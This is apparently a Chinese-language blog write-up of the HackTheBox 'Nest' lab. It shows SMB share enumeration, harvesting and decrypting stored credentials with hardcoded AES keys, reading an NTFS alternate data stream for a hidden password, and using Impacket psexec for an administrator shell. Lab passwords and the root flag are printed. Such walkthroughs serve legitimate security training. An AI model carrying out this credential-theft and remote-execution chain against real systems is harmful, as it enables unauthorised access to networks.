banner
毅种循环

毅种循环

头顶铁锅接收宇宙能量

HackTheBox-Nest

HackTheBox-Nest


信息收集#

└─# nmap -sV 10.129.157.43 -p 1-65535
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-20 22:27 EST
Nmap scan report for 10.129.157.43
Host is up (0.27s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
4386/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

获得了 445 和 4386 的未知服务。

SMB 共享#

查看 445 端口共享了什么服务。

─# smbmap -H 10.129.157.43 -u null
[+] Guest session       IP: 10.129.157.43:445   Name: 10.129.157.43                                   
        Disk                                                    Permissions Comment
        ----                                                    ----------- -------
        ADMIN$                                                  NO ACCESS   Remote Admin
        C$                                                      NO ACCESS   Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS   Remote IPC
        Secure$                                                 NO ACCESS
        Users                                                   READ ONLY

image
user 和 data 是可以访问的。
访问 user,发现不能执行任何命令

└─# smbclient -N //10.129.157.43/users
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Jan 25 18:04:21 2020
  ..                                  D        0  Sat Jan 25 18:04:21 2020
  Administrator                       D        0  Fri Aug  9 11:08:23 2019
  C.Smith                             D        0  Sun Jan 26 02:21:44 2020
  L.Frost                             D        0  Thu Aug  8 13:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 13:02:50 2019
  TempUser                            D        0  Wed Aug  7 18:55:56 2019

TempUser C.Smith L.Frost R.Thompson Administrator 获得了这么几个用户
但是我无法访问到任何资源文件
image


访问 data

└─# smbclient -N //10.129.157.43/data 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug  7 18:53:46 2019
  ..                                  D        0  Wed Aug  7 18:53:46 2019
  IT                                  D        0  Wed Aug  7 18:58:07 2019
  Production                          D        0  Mon Aug  5 17:53:38 2019
  Reports                             D        0  Mon Aug  5 17:53:44 2019
  Shared                              D        0  Wed Aug  7 15:07:51 2019

                5242623 blocks of size 4096. 1840690 blocks available
smb: \> 

image

对目录逐一浏览之后,发现有目录可以访问了。image
接下来逐级访问
image
这里发现一个 txt,下载的命令需要用 “” 包起来,要不然会如上图所示找不到命令。
image
image
这是一份邮件,意味着此账户和密码可以访问 Tempuser 的共享服务了。

TEMP#

─# smbmap -H 10.129.157.43  -u TempUser -p welcome2019
[+] IP: 10.129.157.43:445       Name: 10.129.157.43                                   
        Disk                                                    Permissions Comment
        ----                                                    ----------- -------
        ADMIN$                                                  NO ACCESS   Remote Admin
        C$                                                      NO ACCESS   Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS   Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY

此账户可以访问 data 和 secure 还有 users。
但是 users 依然没有权限访问,继续访问 data,发现比较之前多了一个 IT 文件夹可以访问了。
image

image
浏览到 DLink 目录没有任何的配置文件
在 notepad 文件夹里面发现了配置文件,导出。
在 RU Scanner 目录也发现了配置文件,导出。
image
RU_config.xml

<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

获得了一个用户 c.smith 的密码,但是密文不知道是什么类型,也解密不了。
image

另外一份 notepad 的配置文件中给出了两个地址。
image
其中一个指向了 secure 目录。重新回到 SMB 去读一下这个共享。

└─# smbclient -U TempUser //10.129.157.43/Secure$
Password for [WORKGROUP\TempUser]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug  7 19:08:12 2019
  ..                                  D        0  Wed Aug  7 19:08:12 2019
  Finance                             D        0  Wed Aug  7 15:40:13 2019
  HR                                  D        0  Wed Aug  7 19:08:11 2019
  IT                                  D        0  Thu Aug  8 06:59:25 2019

                5242623 blocks of size 4096. 1839742 blocks available
smb: \> cd IT
smb: \IT\> ls
NT_STATUS_ACCESS_DENIED listing \IT\*
smb: \IT\> 

刚开始就是显示这样权限不足,结果根据文件的指引我能访问 carl 目录。
image
刚开始看题目包含了 C# 的标签,凭感觉应该是要进到 VB 目录去。
image
在 RU 的目录发现了刚开始那个 RUscan 目录和源代码,我们之前已经获得了他的配置文件。
现在需要下载回来他的所有文件,smbclient 的递归下载是这样的:
image

代码分析#

源码#

导入 VS 丢丢之后,在 Module1 可以看到是加载了配置文件然后引用 utils 中的 DecryptString 函数进行加解密。
image
其中 utils 的代码如下:

Imports System.Text
Imports System.Security.Cryptography
Public Class Utils

    Public Shared Function GetLogFilePath() As String
        Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
    End Function




    Public Shared Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function EncryptString(PlainString As String) As String
        If String.IsNullOrEmpty(PlainString) Then
            Return String.Empty
        Else
            Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function Encrypt(ByVal plainText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
        Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
        Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)
        Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8))
        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC
        Dim encryptor As ICryptoTransform = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
        Using memoryStream As New IO.MemoryStream()
            Using cryptoStream As New CryptoStream(memoryStream, _
                                            encryptor, _
                                            CryptoStreamMode.Write)
                cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
                cryptoStream.FlushFinalBlock()
                Dim cipherTextBytes As Byte() = memoryStream.ToArray()
                memoryStream.Close()
                cryptoStream.Close()
                Return Convert.ToBase64String(cipherTextBytes)
            End Using
        End Using
    End Function

    Public Shared Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)

        Return plainText
    End Function






End Class

先不管这解密代码。当我编译该 EXE 出来的时候,发现执行文件会报错。
image
image
用 CMD 后得到了一个异常报错,需要将配置文件放到此目录然后再去执行
image
添加后执行不会回显任何东西,寄了。
为什么不输出结果啊,仔细一看原来是缺少了打印代码。
百度一下 C# 打印咋写。

几种输出的区别:

1、Console.WriteLine(“输出到控制台窗口,即命令提示符窗口”);
2、System.Diagnostics.Debug.WriteLine(“打印信息到输出窗口,但是只能在Debug版本运行,到了release版本中,Debug类的函数都会被忽略”);
3、System.Diagnostics.Trace.WriteLine(“打印信息到输出窗口,可以同时在Debug和release版本运行”);
注:第2、3点都必须在Debug模式下才能打印信息到输出窗口
————————————————
版权声明:本文为CSDN博主「三一.」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_38091174/article/details/85802601

那么最终代码就变成了:

Module Module1

    Sub Main()
        Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
        Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
        Console.WriteLine(Utils.DecryptString(Config.Password))


    End Sub

End Module

结果也输出了:
image
获得了一个新的密码 xRxRxPANCAK3SxRxRx
但是还有另外一种简单的思路,就是直接从 EXE 入手,在了解完代码之后,知道他只是没有打印这个输出,最终的结果肯定要停留在系统的某个地方。

dnspy#

既然是 C# 的代码,直接用 dnspy 反编译 exe 即可。
image
思路就是,从这里开始调用解密算法然后输出结果,那么我们可以在

ssoIntegration.Password = Utils.DecryptString(configFile.Password);


这一行给他打上断点,让他执行到这里然后断开,然后查看寄存器。
F9 打下断点之后,开始执行程序。
image
断点之后,可以看到在内存中的 password 参数就是配置文件中的密码,此处还没有进行解密,需要让他再执行一步。
单步执行 F11 可以看到解密是怎么执行的,逐过程 F10 就是单步执行,就会看到解密完成的密码存在了内存里面。
image
也可以获得密码

user#

接上一步获得了 C.smith 的密码之后 使用 SMB 去连接

└─# smbmap -H 10.129.157.43  -u C.Smith -p xRxRxPANCAK3SxRxRx //查看共享
[+] IP: 10.129.157.43:445       Name: 10.129.157.43                               
        Disk                                                    Permissions Comment
        ----                                                    ----------- -------
        ADMIN$                                                  NO ACCESS   Remote Admin
        C$                                                      NO ACCESS   Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS   Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY

直接去访问自己名字文件下面的文件,获得了第一个 flag。
image

ROOT#

我继续搜索这台机器的文件,发现了一个 txt 文件
image
但是很奇怪的是 0 字节。
而另外一份配置文件是一个导出的备份配置。
image
4386 端口。。。。刚开始 nmap 扫描的不就是 4386 端口吗,猜想这里的信息应该和另外一个端口有关。
image

同时,另外一个目录存在一个 HqkLdap.exe。

用 Windows 打开 Hqkldap.exe 试试。

zhangsan  Release  ♥ 14:48  .\HqkLdap.exe
Invalid number of command line arguments
zhangsan  Release  ♥ 14:48  .\HqkLdap.exe -help
Specified config file does not exist
zhangsan  Release  ♥ 14:48  .\HqkLdap.exe help
Specified config file does not exist

获得了两个提示。
1. 命令行参数的数量无效
2. 指定的配置文件不存在
说明运行这个程序 需要带配置文件
我想到用刚刚那个 0 字节的文件尝试一下
image
第三个报错,请确保安装了可选的数据库导入模块。
发现也是 C# 编译的,丢入 dnspy 看看

dnspy#

image
反编译之后,发现其中有如下提示:
除了之前提到的几个问题之外,还要有一个 HqkDbImport.exe
但是目前缺少配置文件和这个 exe 文件。

CTF NTFS#

在我思考为什么 txt 是 0 字节的文件时候,搜索隐写的时候发现了一种叫 NTFS 数据流隐写的技术。
NTFS 交换数据流(alternate data streams,简称 ADS)是 NTFS 磁盘格式的一个特性,在 NTFS 文件系统下每一个文件,都有着主文件流和非主文件流,主文件流能够直接看到;而非主文件流寄宿于主文件流中,无法直接读取,这个非主文件流就是 NTFS 交换数据流。交换数据流的诞生源于 Windows 系统与苹果的 HFS 系统的交互需求,NTFS 使用交换数据流来存储文件相关元数据等等。 ADS 的作用在于,它允许一个文件携带着附加的信息。例如,IE 浏览器下载文件时,会向文件添加一个数据流,标记该文件来源于外部,即带有风险,那么,在用户打开文件时,就会弹出文件警告提示。再如,在网址收藏中,也会附加一个 favicon 数据流以存放网站图标。 创建一个数据交换流文件的方法很简单,只需要这样一条命令: type "要隐藏的附加文件">"宿主文件":"要隐藏的附加文件" 例如在这道题目中,我就是用这样一条命令向 ADS 中写入了图像文件: type "flag.gif" > "nothing.gif":"flag.gif" 此时需要注意,尽管可以向文本 / 图像 / 可执行文件等各类文件类型的 ADS 中写入数据,但最好保持宿主文件和附加文件文件类型的一致性。我第一次尝试是向 png 附加 gif,结果测试发现这种隐写不够隐蔽,可以直接被 foremost 察觉并分离…
参考文章:https://joner11234.github.io/article/85357d8d.html
参考文章:https://www.cnblogs.com/linuxsec/articles/10423138.html

当我想到这里的的时候,用 allinfo 列出那个空的文件后,奇迹发生了。

smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    四 8月  8 19时06分12秒 2019 EDT
access_time:    四 8月  8 19时06分12秒 2019 EDT
write_time:     四 8月  8 19时08分17秒 2019 EDT
change_time:    三 7月 21 14时47分12秒 2021 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
smb: \C.Smith\HQK Reporting\> 

image
获得了一个带隐写的流文件。按照文章的说法,带上 password 去访问。

带上密码再去下载文件
get "Debug Mode Password.txt"

image

获得了最后一个密码,WBQ201953D8w。
那么,现在有密码了,有 EXE 了,只差配置文件了,别忘了之前的 4386 端口。
使用 telnet 连接一下
image
这里执行命令,输入你获得的调试密码。
image
然后 help 查看帮助
setdir 到上级目录后会发现刚开始在 SMB 里面发现的 config。

>setdir LDAP

Current directory set to LDAP
>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: LDAP

最终找到了该配置文件
image

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

获得了配置文件后,回到我们刚开始做 exe 分析那里。

逆向#

要素都齐活了
1. 配置文件
2. 主 EXE
3.HqkDbImport.exe(缺少)

但是我还是没有找到 HqkDbImport.exe 在哪里,没有就给他编一个看看行不行,用 TXT 改一个后缀用。
image

image
看代码
此处是解密流程中分别对应的参数。
image
那么断点应该打在解密完成后的下一步,即 Ldap ldap = new Ldap ();
image

F10 单步走
走到 username,解密结果为 administrator
image

image
HqkLdap.LdapSearchSettings.Password.get 返回 "XtH4nkS4Pl4y1nGX" string
获得密码
image
获得域名。

PWN ROOT#

─# smbmap -H 10.129.157.43 -u Administrator -p XtH4nkS4Pl4y1nGX
[+] IP: 10.129.157.43:445       Name: 10.129.157.43                                   
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  READ, WRITE     Remote Admin
        C$                                                      READ, WRITE     Default share
        Data                                                    READ, WRITE
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 READ, WRITE
        Users                                                   READ, WRITE
                                                                     <br />‍<br />直接使用 psexec 去连接就行。
└─# python3 psexec.py administrator:[email protected]
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.129.157.43.....
[*] Found writable share ADMIN$
[*] Uploading file oMaWJKuG.exe
[*] Opening SVCManager on 10.129.157.43.....
[*] Creating service zVQM on 10.129.157.43.....
[*] Starting service zVQM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.


C:\Windows\system32> cd C:\Users\Administrator\Desktop
 
C:\Users\Administrator\Desktop> ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is E6FB-F2E9

 Directory of C:\Users\Administrator\Desktop

07/21/2021  06:27 PM    <DIR>          .
07/21/2021  06:27 PM    <DIR>          ..
12/21/2022  03:27 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   7,534,895,104 bytes free

C:\Users\Administrator\Desktop> type root.txt
ca6dc99e9e052aa9fc3a68ea7c14ab9b

END.

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.